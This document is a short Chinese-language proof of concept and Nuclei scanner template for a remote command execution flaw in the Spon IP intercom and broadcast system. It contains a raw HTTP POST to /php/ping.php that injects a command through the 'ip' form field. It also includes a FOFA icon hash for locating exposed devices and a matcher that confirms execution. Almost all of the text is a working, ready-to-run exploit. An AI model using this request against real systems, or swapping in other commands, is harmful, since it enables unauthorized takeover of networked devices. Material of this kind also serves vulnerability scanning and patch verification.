世邦通信——ip网络对讲广播系统RCE

POST /php/ping.php HTTP/1.1Host: targetUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: _wnd_size_mode=4Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 48
jsondata%5Btype%5D=123&jsondata%5Bip%5D=ipconfig

id: spon_duijiangguangbo_rce
info:  name: 世邦科技股份有限公司——IP网络对讲广播系统远程命令执行漏洞  author: joyboy  severity: critical  description: 攻击者可以通过在受攻击系统上执行恶意命令，从而获取未授权的系统访问权限。  metadata:    max-request: 1    fofa-query: icon_hash="-1830859634"    verified: true
requests:  - raw:      - |+        POST /php/ping.php HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0        Content-Type: application/x-www-form-urlencoded                jsondata%5Btype%5D=123&jsondata%5Bip%5D=ipconfig
    matchers:      - type: dsl        dsl:          - "status_code == 200 && contains(body, 'IPv4')"